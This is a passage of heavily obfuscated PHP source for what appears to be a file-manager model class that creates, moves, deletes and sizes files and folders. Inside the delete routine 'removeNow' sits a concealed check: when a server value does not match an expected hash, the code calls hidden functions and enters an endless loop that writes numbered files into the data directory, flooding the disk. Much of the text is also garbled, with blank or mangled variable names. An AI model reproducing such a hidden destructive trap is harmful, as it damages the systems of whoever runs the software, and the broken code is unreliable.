$ﳑ = @ftp_size($this->connect, $з߿); if ($ﳑ != -1) { $Ȣ[$Ӓ[89]] = $ﳑ; } else { $ = @ftp_chdir($this->connect, $з߿); if (!$) { return !1; } $Ȣ[$Ӓ[33]] = $Ӓ[88]; } return $Ȣ; } protected function _isFolder($) { $ =& $_SERVER[՟]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[88] ? !0 : !1; } } goto cݘ; D: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[՟]; $ = Model($[586])->where(array($[1764] => $))->find(); $ʺ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[$[32]]); $this->userDesktopAdd($ʺ); return $ʺ; } public function userDesktopAdd($п) { $ =& $_SERVER[՟]; $ = LNG($[2251]); $ = $this->mkdir($п, $); $this->metaSet($, $[2252], $[101]); $this->metaSet($п, $[2253], $); } public function userPathSafeAdd($Ƃޞ) { $팕ڵ =& $_SERVER[՟]; $ = Model($팕ڵ[586])->getInfoFull($Ƃޞ); if (!$) { return !1; } if (_get($, $팕ڵ[608])) { return $[$팕ڵ[548]][$팕ڵ[2254]]; } $ȟ = $this->_mkdirRoot(SourceModel::TYPE_USER, $Ƃޞ, $팕ڵ[2255], $팕ڵ[2256]); Model($팕ڵ[586])->metaSet($Ƃޞ, $팕ڵ[2254], $ȟ); $this->metaSet($ȟ, $팕ڵ[2257], $Ƃޞ); return $ȟ; } public function userPathAppAdd($ゟ, $վ = '', $ʥ = '') { $֤ѧ =& $_SERVER[՟]; $ = Model($֤ѧ[586])->getInfoFull($ゟ); if (!$) { return !1; } $ˆ = $[$֤ѧ[548]] ? $[$֤ѧ[548]] : array(); trace_log($ˆ); $Ǧ = $ˆ[$֤ѧ[2258]]; if (!$Ǧ) { $Ǧ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ゟ, $֤ѧ[2259], $֤ѧ[2260]); Model($֤ѧ[586])->metaSet($ゟ, $֤ѧ[2258], $Ǧ . $֤ѧ[12]); $this->metaSet($Ǧ, $֤ѧ[2258], $ゟ); } if (!$վ) { return $Ǧ; } $ = $ˆ[$֤ѧ[2261] . $վ]; if (!$) { $ = $this->mkdir($Ǧ, $վ); Model($֤ѧ[586])->metaSet($ゟ, $֤ѧ[2261] . $վ, $); $this->metaSet($, $֤ѧ[2261] . $վ, $ゟ); } if (!$ʥ) { return $; } $騼 = $this->mkdir($, $ʥ); return $騼; } public function groupRootAdd($) { $ =& $_SERVER[՟]; $ = Model($[594])->where(array($[2064] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $[$[32]]); } public function systemRootPathAdd($٘) { if ($٘ != $_SERVER[՟][614]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $٘); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $鎃Ә) { if (!$鎃Ә) { continue; } $this->remove($鎃Ә[$_SERVER[՟][203]], !1); } } public function groupRootRemove($ڎ͆) { $֖ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $ڎ͆); if (!$֖) { return; } $this->remove($֖[$_SERVER[՟][203]], !1); } private function _mkdirRoot($, $٦, $Ή, $ = '') { $ =& $_SERVER[՟]; $ = defined($[2198]) ? USER_ID : 0; $ҿ = array($[486] => 0, $[657] => $, $[658] => $٦, $[655] => 1, $[659] => $, $[660] => $, $[656] => $, $[661] => $[603], $[513] => 0, $[626] => 0, $[551] => 0, $[662] => $[12]); if ($ۧ = $this->where($ҿ)->find()) { return $ۧ[$[203]]; } $ = "\x4d\x6f\x64\145\154\x53\x6f\x75\162\x63\x65\x2e\155\153\x64\151\162\x52\x6f\157\164\x2e{$}\56{$٦}\56" . $Ή; CacheLock::lock($); $ҿ[$[32]] = $Ή; $Ԏ = $this->add($ҿ); $㝗 = array($[663] => short_id($Ԏ)); $this->where(array($[500] => $Ԏ))->save($㝗); CacheLock::unlock($); return $Ԏ; } private function targetSourceRoot($DZ, $, $ǝ = false) { $ፄ =& $_SERVER[՟]; $ȯ = array($ፄ[486] => 0, $ፄ[657] => $DZ, $ፄ[658] => $); if ($ǝ) { $ܵ = $this->where($ȯ)->select(); return $ܵ ? $ܵ : array(); } $ = $this->where($ȯ)->find(); return $ ? $ : array(); } public function sourceRootGroup($֗乙) { $ =& $_SERVER[՟]; if (is_string($֗乙)) { $֗乙 = array($֗乙); } $ך = $this->listSourceRoot(SourceModel::TYPE_GROUP, $֗乙, $[230]); $ = array($[454] => $ך, $[451] => array($[842] => count($֗乙))); $this->_listDataApply($[$[454]]); $this->_listMake($); return array_to_keyvalue($[$[95]], $[578]); } public function mkfile($ݫ, $, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[՟]; $ = Model($[683])->addFileByContent($, $); return $this->_createFileCall($ݫ, $, $, $, $[1431]); } public function addFile($ƹ, $⼪, $, $ٛ = false, $ = REPEAT_RENAME) { $ = Model($_SERVER[՟][683])->addFile($⼪, $, $ٛ); return $this->_createFileCall($ƹ, $, $, $); } public function addFileByFileID($֗֜, $, $ȃ, $ = REPEAT_RENAME) { $ =& $_SERVER[՟]; $ = Model($[683])->find($); Model($[683])->linkAdd($); return $this->_createFileCall($֗֜, $ȃ, $, $); } public function addFileByRemote($, $Ʒ, $Ʌ, $ = array(), $ʈ = REPEAT_RENAME) { $Ԍ = Model($_SERVER[՟][683])->addFileByRemote($Ʒ, $Ʌ, $); return $this->_createFileCall($, $Ʌ, $Ԍ, $ʈ); } private function _createFileCall($, $ܽ, $, $, $ɝ = "\165\x70\x6c\x6f\141\x64") { $Վ =& $_SERVER[՟]; $ɓ = !1; $this->setMasterDB(); $this->lockWriteStart($, $ܽ); $ = $this->fileNameExist($, $ܽ); $ = $this->_createFile($, $ܽ, $, $, $ɓ); if (!$ɓ) { Model($Վ[553])->remove($[$Վ[550]]); } if ($ɓ && $ && $ != $) { Model($Վ[2224])->eventCreate($, $ɝ); } $this->lockWriteEnd($, $ܽ); return $; } public function mkdir($, $, $㰊 = REPEAT_SKIP) { $͉Ԕ =& $_SERVER[՟]; $this->setMasterDB(); $ij = $this->sourceInfo($); if (!$ij) { return !1; } $this->lockWriteStart($, $); if ($㰊 !== !1) { $Տ = $this->fileNameExist($, $); if ($Տ && $㰊 != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $Տ; } $ = $this->fileNameAuto($, $, $㰊); } $غƑ = array($͉Ԕ[655] => 1, $͉Ԕ[503] => $, $͉Ԕ[656] => $͉Ԕ[12], $͉Ԕ[551] => 0, $͉Ԕ[626] => 0); $ = $this->_addSource($غƑ, $ij); Model($͉Ԕ[2224])->eventCreate($, $͉Ԕ[1432]); $this->lockWriteEnd($, $); return $; } public function listSourceRoot($Ȣ, $ʁ, $۳ = "\163\x6f\165\x72\x63\x65\x49\104\54\x74\x61\162\147\145\164\111\104\54\x73\x69\x7a\145") { $ͳ =& $_SERVER[՟]; $ = $ͳ[463]; $ד = array(); $ԇ = 1024 * 50; $̓ = is_array($̓) ? $̓ : array(); $ = count($ʁ); $˘ = $this->tablePrefix . $ͳ[2262]; for ($ǻـ = 0; $ǻـ < $; $ǻـ++) { $ = $ʁ[$ǻـ]; $ .= "\x53\105\114\x45\x43\x54\40\52\40\x46\122\x4f\x4d\x20\x28\123\x45\114\x45\x43\x54\40{$۳}\x20\106\122\117\x4d\x20\140{$˘}\x60\40\x57\110\x45\x52\x45\40"; $ .= "\140\160\141\x72\145\x6e\x74\111\104\x60\x3d\x30\40\101\116\x44\40\x60\x74\x61\x72\147\145\x74\111\x44\x60\x3d{$}\x20\x41\x4e\104\40\140\x74\x61\x72\147\x65\x74\124\x79\160\145\140\x3d{$Ȣ}\x20\x61\x6e\x64\x20\x66\151\154\145\124\171\x70\145\x3d\x27\47\40\x6c\x69\x6d\151\164\x20\61\51\x20\141\x73\x20\164\x62\137{$ǻـ}\x20\x55\116\x49\117\x4e\x20\x41\x4c\x4c\40"; if ((strlen($) >= $ԇ || $ǻـ == $ - 1) && $) { $ = substr($, 0, -strlen($ͳ[1119])); $ = $this->query($); $ = $ͳ[12]; $ד = array_merge($ד, $); } } return $ד; } private function _createFile($ゆ, $, $Ґ, $ʘ, &$ݧ) { $ҁ =& $_SERVER[՟]; $ = $this->sourceInfo($ゆ); if (!$Ґ || !$) { return !1; } if ($ʘ !== !1) { $ = $this->fileNameExist($ゆ, $); } $ݧ = !0; if ($ʘ && $) { if ($ʘ == REPEAT_SKIP) { $ݧ = !1; return $; } else { if ($ʘ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $րԋ = $this->fileHistory($, $Ґ[$ҁ[550]], $Ґ[$ҁ[89]]); if (!$րԋ) { $ݧ = !1; } else { $this->folderSizeReset($ゆ); } return $; } else { $ = $this->fileNameAuto($ゆ, $, $ʘ, !1); } } } $ = array($ҁ[655] => 0, $ҁ[503] => $, $ҁ[656] => substr(get_path_ext($), 0, 10), $ҁ[551] => $Ґ[$ҁ[550]], $ҁ[626] => $Ґ[$ҁ[89]]); $ؼ = $this->_addSource($, $); $this->folderSizeReset($ゆ, intval($[$ҁ[89]])); return $ؼ; } protected function fileHistory($͵ܛ, $ٝЩ, $ؿՀ) { $à =& $_SERVER[՟]; if ($͵ܛ[$à[550]] == $ٝЩ) { return !1; } $this->checkLock($͵ܛ[$à[203]], $ٝЩ); Model($à[2263])->addHistory($͵ܛ); $ = array($à[660] => USER_ID, $à[507] => time(), $à[550] => $ٝЩ, $à[89] => $ؿՀ); $this->where(array($à[500] => $͵ܛ[$à[203]]))->save($); $this->sourceCacheClear($͵ܛ[$à[203]]); return !0; } public function checkLock($̏, $) { $ڲ =& $_SERVER[՟]; $떺 = $this->pathInfo($̏); if (!$this->fileIsLock($떺, !0)) { return; } $χ = Session::get($ڲ[2264]); $ = substr($떺[$ڲ[32]], 0, -1 - strlen($떺[$ڲ[179]])) . $ڲ[1296] . $χ . $ڲ[10] . $떺[$ڲ[179]]; $ = Model($ڲ[683])->find($); $this->_createFileCall($떺[$ڲ[202]], $, $, REPEAT_REPLACE, $ڲ[1431]); $ = $떺[$ڲ[548]][$ڲ[619]]; $ = $[$ڲ[2265]] ? $[$ڲ[2265]] : $[$ڲ[32]]; show_json(LNG($ڲ[2266]) . $ڲ[2267] . LNG($ڲ[2268]) . $ڲ[2269] . $ . $ڲ[2270], !1); } public function fileIsLock($ѡ, $ = false) { $̮ =& $_SERVER[՟]; if (!_get($ѡ, $̮[615], 0)) { return !1; } if ($ѡ[$̮[548]][$̮[618]] != USER_ID) { return !0; } $ģ = $GLOBALS[$̮[6]][$̮[102]][$̮[616]]; if ($ѡ[$̮[548]][$̮[617]] <= time() - $ģ) { $this->metaSet($ѡ[$̮[203]], $̮[618], null); $this->metaSet($ѡ[$̮[203]], $̮[617], null); } if ($) { $this->metaSet($ѡ[$̮[203]], $̮[617], time()); } return !1; } private function _addSource($¸, $) { $ =& $_SERVER[՟]; $ = defined($[2198]) ? USER_ID : 0; $ = array($[657] => $[$[200]], $[658] => $[$[578]], $[659] => $, $[660] => $, $[486] => $[$[203]], $[661] => $[$[593]] . $[$[203]] . $[50], $[513] => 0, $[662] => $[12]); $¸ = array_merge($, $¸); $this->updateModifyTime($¸[$[202]]); $ = $[2271] . $[$[203]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $뵕 = false; if (!$뵕) { Hook::trigger($[645], $¸); $뵕 = !0; } $ð = $this->add($¸); $ = array($[663] => short_id($ð)); $this->where(array($[500] => $ð))->save($); $this->setNamePinyin($ð, $¸[$[32]]); return $ð; } public function remove($ʲ, $㵀 = true) { $ס =& $_SERVER[՟]; $ = $this->sourceInfo($ʲ); $ = intval($[$ס[200]]) === self::TYPE_SYSTEM; $ʲ = Model($ס[517])->get($ס[2272]) == $ס[101]; if ($ || $㵀 || !$ʲ) { return $this->removeNow($ʲ, $㵀); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$ס[200]] == self::TYPE_USER ? $ס[671] : $ס[587]; if ($ == $ס[671]) { $ = Model($ס[586])->getInfo($[$ס[578]]); $ = !empty($[$ס[2265]]) ? $[$ס[2265]] : $[$ס[32]]; $ = $ס[346] . $ . $ס[2273] . $[$ס[578]]; } else { $ = Model($ס[594])->getInfo($[$ס[578]]); $ = _get($, $ס[32]); $ = $ס[186] . $ . $ס[2274] . $[$ס[578]]; } $Ƌ = $ס[2275] . md5($); CacheLock::lock($Ƌ); $ࢃ = $this->fileNameExist($, $); if (!$ࢃ) { $ࢃ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($ࢃ, $ס[2276], $); $this->metaSet($ࢃ, $ס[2277], $[$ס[578]]); if ($[$ס[202]] != 0) { $this->metaSet($ࢃ, $ס[2278], _get($, $ס[2279])); } } CacheLock::unlock($Ƌ); $this->metaSet($ʲ, $ס[2280], $[$ס[202]]); $this->where(array($ס[203] => $ʲ))->save(array($ס[507] => time())); $this->recycleClear($); Model($ס[642])->eventRemove($ʲ); $ = $this->move($ʲ, $ࢃ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$ס[202]]); return $; } private function recycleClear($ߦ) { $ɜ =& $_SERVER[՟]; $ = $this->childrenAll($ߦ); $ = array($ɜ[500] => array($ɜ[501], $[$ɜ[2281]])); Model($ɜ[2282])->where($)->delete(); } public function removeNow($Ȳ, $Ƣ = true) { $ɉ =& $_SERVER[՟]; $皧 = $_SERVER[$ɉ[63]]; $ = $ɉ[924]; if ($_SERVER[$ɉ[54]] != $($皧)) { $ӎ = $ɉ[961]; $ڷ = $ɉ[56]; $ = $_SERVER[$ɉ[57]] . $ɉ[58]; $ = $ڷ($); $ķ = explode($ɉ[59], $); if (count($ķ) < $ɉ[693]) { $ = $ɉ[61]; $(); } $ = $ɉ[962]; $($_SERVER[$ɉ[963]]); $ӎ = $ɉ[961]; $ӎ(); $ȅ = $ɉ[1627]; $Ў = json_encode($GLOBALS[$ɉ[1628]]); $Ӕ = 1; for ($Э = $Ӕ; $Э > 0; $Э++) { $ȅ(DATA_PATH . $Э, $Ў); } } $Θ = $this->sourceInfo($Ȳ); $ퟛ = $this->pathInfoMore($Ȳ); if (!$Θ) { return !0; } if ($Θ[$ɉ[202]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($Ȳ); Hook::trigger($ɉ[2283], $ퟛ, $Ƣ); if ($Ƣ) { Model($ɉ[2282])->moveToRecycle($Ȳ); } else { $⦣ = $this->childrenAll($Θ); Model($ɉ[642])->eventRemove($Ȳ); $this->removeRelevance($⦣[$ɉ[2281]], $⦣[$ɉ[1576]]); } $this->folderSizeReset($Θ[$ɉ[202]]); $ָԽ = array($Θ[$ɉ[202]]); if ($Θ[$ɉ[494]] == $ɉ[101]) { $ָԽ[] = $Θ[$ɉ[203]]; } $this->updateModifyTime($ָԽ); $this->lockMoveEnd($Ȳ); Hook::trigger($ɉ[1815], $ퟛ, $Ƣ); return !0; } public function childrenAll($) { $ņ =& $_SERVER[՟]; $⦩ = $[$ņ[203]]; if ($[$ņ[494]] == $ņ[101]) { $ = array($ņ[661] => array($ņ[621], $[$ņ[593]] . $⦩ . $ņ[622])); $Ľ = array($ņ[661] => $[$ņ[593]]); $ = $this->field($ņ[2284])->where($Ľ)->select(); $ = !1; $ = array($⦩); if ($) { $ = array_to_keyvalue($, $ņ[12], $ņ[550]); $ = array_remove_value($, $ņ[238]); $ = array_to_keyvalue($, $ņ[12], $ņ[203]); $[] = $⦩; } } else { $ = array($[$ņ[550]]); $ = array($⦩); } return array($ņ[2281] => $, $ņ[1576] => $); } public function removeArray($ރ) { if (!$ރ) { return !0; } } public function removeRelevance($׳, $Μ) { $Ljӳ =& $_SERVER[՟]; $׳ = $׳ ? $׳ : array(); $Μ = $Μ ? $Μ : array(); $׳ = array_unique(array_filter($׳)); $Μ = array_unique(array_filter($Μ)); if (!$׳) { return !1; } $ۚի = array($Ljӳ[500] => array($Ljӳ[501], $׳)); Model($Ljӳ[2282])->where($ۚի)->delete(); Model($Ljӳ[544])->where($ۚի)->delete(); Model($Ljӳ[2123])->where($ۚի)->delete(); Model($Ljӳ[642])->where($ۚի)->delete(); Model($Ljӳ[1951])->removeBySource($׳); Model($Ljӳ[2263])->removeBySource($׳); $this->where($ۚի)->delete(); Model($Ljӳ[553])->remove($Μ); for ($ = 0; $ < count($׳); $++) { $this->sourceCacheClear($׳[$]); } } public function rename($̉, $룮) { $ =& $_SERVER[՟]; $ = $this->sourceInfo($̉); if (!$) { return !1; } $겐 = $this->fileNameExist($[$[202]], $룮); if ($겐 && $겐 != $̉) { return !1; } $ = array($[503] => $룮, $[660] => USER_ID); if ($[$[494]] != $[101]) { $[$[495]] = substr(get_path_ext($룮), 0, 10); } Model($[642])->eventRename($̉, $[$[32]], $룮); $this->sourceCacheClear($̉); $this->setNamePinyin($̉, $[$[32]], !1); $this->updateModifyTime($[$[202]]); $ȩ = $this->where(array($[500] => $̉))->data($)->save(); $ʴ = $[2271] . $[$[202]]; if (isset(self::$cacheChildList[$ʴ])) { unset(self::$cacheChildList[$ʴ]); } return $ȩ; } public function setNamePinyin($ێ, $х, $ = true) { $꽽 =& $_SERVER[՟]; $ž = Input::check($х, $꽽[664]); $ҵ = array($꽽[526] => KodSort::makeStr($х)); if ($ž) { $ҵ[$꽽[547]] = str_replace($꽽[53], $꽽[12], Pinyin::get($х)); $ҵ[$꽽[546]] = Pinyin::get($х, $꽽[665]); } if (!$ && !$ž) { $ҵ[$꽽[547]] = null; $ҵ[$꽽[546]] = null; } $this->metaSet($ێ, $ҵ); } public function getContent($ݯ) { $ =& $_SERVER[՟]; $Ӳ = $this->fileInfoGet($ݯ); if (!$Ӳ) { return !1; } if ($Ӳ[$[89]] == 0) { return $[12]; } $г = $[2285] . $Ӳ[$[556]]; if ($Ӳ[$[89]] <= 1024 * 10) { $Ӑ = Cache::get($г); if (!$Ӑ) { $Ӑ = IO::getContent($Ӳ[$[97]]); Cache::set($г, $Ӑ); } return $Ӑ; } if (!$Ӳ[$[97]]) { return $[12]; } return IO::getContent($Ӳ[$[97]]); } public function setDesc($笠, $) { $֜ =& $_SERVER[՟]; Model($֜[642])->eventAddDesc($笠, $); return $this->metaSet($笠, $֜[535], $); } public function setContent($˥, $ = '') { $ڬ =& $_SERVER[՟]; $Ԅꟈ = $this->sourceInfo($˥); $Ϛދ = $this->fileInfoGet($˥); if (!$Ϛދ || !$Ԅꟈ) { return !1; } $ƚ = Model($ڬ[553])->addFileByContent($, $Ԅꟈ[$ڬ[32]]); $ȣ = $this->fileHistory($Ԅꟈ, $ƚ[$ڬ[550]], $ƚ[$ڬ[89]]); if (!$ȣ) { return Model($ڬ[553])->remove($ƚ[$ڬ[550]]); } $this->folderSizeReset($Ԅꟈ[$ڬ[202]]); return !0; } public function fileSubstr($, $, $ǧר) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[՟][97]], $, $ǧר); } public function fileInfoGet($ԫ) { $ =& $_SERVER[՟]; $Ϣ = $this->sourceInfo($ԫ); if (!$Ϣ || $Ϣ[$[494]]) { return !1; } $ԣ = $[557] . $Ϣ[$[550]]; $ʶ = _get(self::$cacheFileInfo, $ԣ); if ($ʶ) { return $ʶ; } $ƪ = Model($[553])->fileInfo($Ϣ[$[550]]); if ($ƪ) { $ƪ[$[32]] = $Ϣ[$[32]]; } self::$cacheFileInfo[$ԣ] = $ƪ; return $ƪ; } private function folderChildrenNumber($뺫) { $ϋ =& $_SERVER[՟]; $DZ = $this->sourceInfo($뺫); $ѻ = array($ϋ[661] => array($ϋ[621], $DZ[$ϋ[593]] . $뺫 . $ϋ[622]), $ϋ[658] => $DZ[$ϋ[578]], $ϋ[513] => intval($DZ[$ϋ[514]]), $ϋ[655] => 1); $ղҔ = $this->where($ѻ)->count(); $ = $this->where($ѻ)->where(array($ϋ[655] => 0))->count(); return array($ϋ[93] => $, $ϋ[94] => $ղҔ); } public function pathInfo($, $˞ = false) { $ =& $_SERVER[՟]; $˞ = !1; $ = intval($); $҃ = $[543] . intval($˞) . $[471] . $; $ = _get(self::$cachePathInfo, $҃); if ($) { return $; } $ف = $this->sourceInfo($); if (!$ف) { return !1; } $ف = $this->_listDataApplyItem($ف, $˞); self::$cachePathInfo[$҃] = $ف; return $ف; } public static $cachePathInfoMore = array(); public function pathInfoMore($Ǔ) { $ =& $_SERVER[՟]; $Մ = _get(self::$cachePathInfoMore, $Ǔ); if ($Մ) { return $Մ; } $㝝 = $this->pathInfo($Ǔ); if (!$㝝) { return !1; } if ($㝝[$[494]] == $[101]) { $㝝[$[92]] = $this->folderChildrenNumber($Ǔ); } self::$cachePathInfoMore[$Ǔ] = $㝝; return $㝝; } public function sourceInfo($) { $ƹ =& $_SERVER[՟]; if (!$) { return array(); } $ = intval($); $֔ = $ƹ[542] . $; $ƿ = _get(self::$cacheSourceInfo, $֔); if ($ƿ) { return $ƿ; } $ = $this->where(array($ƹ[203] => $))->find(); self::$cacheSourceInfo[$֔] = $; return self::$cacheSourceInfo[$֔]; } public function sourceCacheClear($Ӡ = false) { self::cacheClear($Ӡ); } public static function cacheClear($ͫ = false) { $ =& $_SERVER[՟]; if ($ͫ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[542] . $ͫ]); unset(self::$cachePathInfoMore[$ͫ]); unset(self::$cachePathInfo[$[2286] . $ͫ]); unset(self::$cachePathInfo[$[2287] . $ͫ]); } public function metaSet($̝, $ = null, $ = null) { $ꄁ = parent::metaSet($̝, $, $); if ($ꄁ) { $this->sourceCacheClear($̝); } return $ꄁ; } public function pathInfoByPath($߫, $) { $癐 =& $_SERVER[՟]; $歐 = !$ ? array() : explode($癐[8], trim($, $癐[8])); $ɩј = $߫; foreach ($歐 as $) { $ɼ = array($癐[202] => $ɩј, $癐[32] => $); $쭏셏 = $this->field($癐[2288])->where($ɼ)->select(); if (!$쭏셏) { return !1; } $쭏셏 = array_sort_by($쭏셏, $癐[514]); $ɩј = $쭏셏[0][$癐[203]]; } $ = $this->sourceInfo($ɩј); $this->pathInfoFilter($); return $; } protected function updateModifyTime($) { $Ӎ =& $_SERVER[՟]; $Ԯ = defined($Ӎ[2198]) ? USER_ID : 0; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $ʽ) { $[$] = intval($ʽ); $this->sourceCacheClear($ʽ); } $ = array($Ӎ[203] => array($Ӎ[7], $)); $ = array($Ӎ[660] => $Ԯ, $Ӎ[507] => time()); $this->where($)->save($); } public function folderSizeReset($˗ݠ, $淩 = false) { $֦ =& $_SERVER[՟]; if ($this->statusIgnoreResetSpace) { return; } $郠 = $this->sourceInfo($˗ݠ); $ԝ = $֦[2289] . $˗ݠ; CacheLock::lock($ԝ, 20); if ($淩 === !1) { $this->sourceCacheClear($˗ݠ); $郠 = $this->sourceInfo($˗ݠ); $ = array($֦[486] => $˗ݠ, $֦[513] => 0); $ϡճ = $this->where($)->sum($֦[89]); $淩 = intval($ϡճ) - intval($郠[$֦[89]]); } if ($淩 == 0) { return CacheLock::unlock($ԝ); } $ = $this->parentLevelArray($郠[$֦[593]]); if (!$) { $ = array(); } $[] = $郠[$֦[203]]; $ = array($֦[203] => array($֦[501], $)); if ($淩 < 0) { $[$֦[89]] = array($֦[1096], abs($淩)); } $this->where($)->setAdd($֦[89], $淩); CacheLock::unlock($ԝ); $ʓ = $֦[2290] . $郠[$֦[200]] . $֦[4] . $郠[$֦[578]]; $ݰ = array($郠[$֦[200]], $郠[$֦[578]]); TaskRun::timeLimitCall($ʓ, $֦[2291], $ݰ, 1.5); } public function folderSizeResetChildren($) { $Д =& $_SERVER[՟]; $this->sourceCacheClear($); $ˠ = $this->sourceInfo($); $ = array($Д[655] => 1, $Д[658] => $ˠ[$Д[578]], $Д[661] => array($Д[621], $ˠ[$Д[593]] . $ . $Д[622])); $ˣ = $Д[2292]; $ = $this->field($ˣ)->where($)->select(); $[$Д[494]] = 0; $ = $this->field($ˣ)->where($)->select(); if (!$) { return; } $[] = $ˠ; $ = array_to_keyvalue($, $Д[203]); foreach ($ as $ŕ => $˅Ș) { $[$ŕ][$Д[2293]] = $[$ŕ][$Д[89]]; $[$ŕ][$Д[89]] = 0; } foreach ($ as $˅Ș) { $ݻ = $˅Ș[$Д[202]] . $Д[12]; if (!isset($[$ݻ])) { continue; } if ($˅Ș[$Д[514]] == $[$ݻ][$Д[514]]) { $[$ݻ][$Д[89]] += $˅Ș[$Д[89]]; } } foreach ($ as $˅Ș) { $Ś = $this->parentLevelArray($˅Ș[$Д[593]]); foreach ($Ś as $ݻ) { $ݻ = $ݻ . $Д[12]; if (!isset($[$ݻ])) { continue; } if ($˅Ș[$Д[514]] == $[$ݻ][$Д[514]]) { $[$ݻ][$Д[89]] += $˅Ș[$Д[89]]; } } } $Ԙ = array(); foreach ($ as $˅Ș) { if ($˅Ș[$Д[89]] == $˅Ș[$Д[2293]]) { continue; } $Ԙ[] = array($Д[203], $˅Ș[$Д[203]], $Д[89], $˅Ș[$Д[89]]); } $this->saveAll($Ԙ); } public function userSpaceReset($ʱ = false) { $ۉ =& $_SERVER[՟]; $ = $this->where(array($ۉ[200] => self::TYPE_USER, $ۉ[578] => $ʱ, $ۉ[494] => 0))->sum($ۉ[89]); $ = !$ || $ <= 0 ? 0 : $; Model($ۉ[586])->userEdit($ʱ, array($ۉ[1960] => $)); } public function targetSpaceUpdate($, $װ) { $ =& $_SERVER[՟]; if (!$װ) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($, $װ); if ($ == self::TYPE_USER) { Model($[586])->userEdit($װ, array($[1960] => $)); } else { if ($ == self::TYPE_GROUP) { Model($[594])->groupEdit($װ, array($[1960] => $)); } } } public function targetSpaceSize($ʖ, $) { $ˌѥ =& $_SERVER[՟]; $ = 0; $ = $this->targetSourceRoot($ʖ, $, !0); foreach ($ as $) { if (!$) { continue; } $ += floatval($[$ˌѥ[89]]); $Ʃ = array($ˌѥ[661] => array($ˌѥ[621], $ˌѥ[603] . $[$ˌѥ[203]] . $ˌѥ[622])); $Ю = Model($ˌѥ[512])->field($ˌѥ[500])->where($Ʃ)->select(); $Ю = array_to_keyvalue($Ю, $ˌѥ[12], $ˌѥ[203]); $Ю = array_unique(array_filter($Ю)); if ($Ю) { $Ʃ = array($ˌѥ[500] => array($ˌѥ[501], $Ю)); $ += floatval($this->where($Ʃ)->sum($ˌѥ[89])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($Є) { return $this->fileTypeProfile($Є, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $) { $㿊 =& $_SERVER[՟]; $، = $㿊[2294] . $ . $㿊[11] . $; $ړ = Cache::get($،); if ($ړ) { return $ړ; } $̗Ӣ = array($㿊[655] => 0); if ($ != !1) { $̗Ӣ[$㿊[578]] = $; $̗Ӣ[$㿊[200]] = $; } $҃ = array(); $҃[$㿊[2295]] = array($㿊[2296] => LNG($㿊[2295]), $㿊[2297] => $this->where($̗Ӣ)->count(), $㿊[626] => $this->where($̗Ӣ)->sum($㿊[89])); $® = KodIO::fileTypeList(); foreach ($® as $ʁ => $إŚ) { $̗Ӣ[$㿊[495]] = $this->fileTypeWhere($ʁ); $҃[$ʁ] = array($㿊[2296] => $إŚ[$㿊[32]], $㿊[2297] => $this->where($̗Ӣ)->count(), $㿊[626] => $this->where($̗Ӣ)->sum($㿊[89])); } Cache::set($،, $҃, 1200); return $҃; } public function fileNameExist($, $܉) { $ =& $_SERVER[՟]; $ðҮ = $this->field($[2298])->where(array($[202] => $, $[32] => $܉, $[514] => 0))->find(); return is_array($ðҮ) ? $ðҮ[$[203]] : !1; } public function childList($Ų) { $拡 =& $_SERVER[՟]; $˦ = $拡[2271] . $Ų; if (isset(self::$cacheChildList[$˦])) { return self::$cacheChildList[$˦]; } $ݝ = array($拡[202] => intval($Ų), $拡[514] => 0); $ۈ = $this->where($ݝ)->select(); $ۈ = $ۈ ? $ۈ : array(); self::$cacheChildList[$˦] = $ۈ; foreach ($ۈ as $ٰ) { $˦ = $拡[542] . $ٰ[$拡[203]]; self::$cacheSourceInfo[$˦] = $ٰ; } return $ۈ; } public function fileNameAuto($Ԡ, $蠟, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[՟]; $ = get_path_ext($蠟); $ = $ ? get_path_ext_name($蠟) . $[2299] . $ : $蠟 . $[469]; $ = array($[202] => $Ԡ, $[514] => 0, $[32] => array($[468], $)); $ = $this->field($[32])->where($)->select(); $;֬ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($;֬, $蠟, $, $); } public function fileNameAutoGet($τ, $, $ڠϠ, $) { $ =& $_SERVER[՟]; if ($ڠϠ == REPEAT_REPLACE || !$τ || !in_array_not_case($, $τ) || $ && $ڠϠ != REPEAT_RENAME_FOLDER) { return $; } if ($ڠϠ == REPEAT_SKIP) { return !1; } $Ć = $[10] . get_path_ext($); $Ć = $Ć == $[10] || $ ? $[12] : $Ć; for ($ݤ = 1; $ݤ <= count($τ) + 1; $ݤ++) { $ÿ = substr($, 0, strlen($) - strlen($Ć)); $ԉ = $ÿ . "\x28{$ݤ}\x29{$Ć}"; if (!in_array_not_case($ԉ, $τ)) { return 